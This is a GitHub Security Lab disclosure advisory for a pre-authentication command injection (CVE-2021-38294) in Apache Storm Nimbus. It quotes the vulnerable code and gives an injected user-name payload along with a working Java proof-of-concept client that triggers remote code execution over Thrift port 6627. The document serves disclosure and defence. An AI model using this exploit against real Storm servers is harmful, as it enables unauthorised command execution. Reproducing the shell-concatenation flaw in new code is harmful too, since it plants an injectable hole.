skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
October 28, 2021

GHSL-2021-085: Command injection in Apache Storm Nimbus - CVE-2021-38294

Alvaro Munoz

Coordinated Disclosure Timeline

Summary

A Command Injection vulnerability exists in the getTopologyHistory service of the Apache Storm Nimbus server allowing pre-auth Remote Code Execution (RCE)

Product

Apache Storm

Tested Version

2.2.0

Details

Nimbus runs on top of a Thrift server which exposes a number of services on port 6627. By default, Storm does not set up any authentication and any user can connect to these services. We found that getTopologyHistory service is vulnerable to a Command Injection vulnerability leading to RCE. A user-supplied user name is concatenated into a shell command that is later executed:

ShellBasedGroupsMapping.getUnixGroups

    private Set<String> getUnixGroups(final String user) throws IOException {
        String result;
        try {
            result = shellCommandRunner.execCommand(ShellUtils.getGroupsForUserCommand(user));
        } catch (ExitCodeException e) {
            // if we didn't get the group - just return empty list;
            LOG.debug("Unable to get groups for user " + user + ". ShellUtils command failed with exit code " + e.getExitCode());
            return new HashSet<>();
        }

        Set<String> groups = new HashSet<>();
        for (String group : result.split(shellCommandRunner.getTokenSeparatorRegex())) {
            groups.add(group);
        }
        return groups;
    }

ShellUtils.getGroupsForUserCommand

   public static String[] getGroupsForUserCommand(final String user) {
        if (WINDOWS) {
            throw new UnsupportedOperationException("Getting user groups is not supported on Windows");
        }
        //'groups username' command return is non-consistent across different unixes
        return new String[]{
            "bash", "-c", "id -gn " + user
                          + "&& id -Gn " + user
        };
    }

The stacktrace for the request is:

getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)
getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)
getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)
userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)
isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)
getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)
getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
process:38, ProcessFunction (org.apache.storm.thrift)
process:38, TBaseProcessor (org.apache.storm.thrift)
process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)
invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)
run:18, Invocation (org.apache.storm.thrift.server)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)

An attacker can execute arbitrary system commands by supplying a user name such as:

user = "foo;touch /tmp/pwned;id "

This vulnerability requires no special privileges since the getTopologyHistory service does not call checkAuthorization.

PoC

import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class ThriftClient {
    public static void main(String[] args) throws Exception {
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);

        // send attack
        nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
    }
}

Impact

This issue may lead to pre-auth RCE.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-085 in any communication regarding this issue.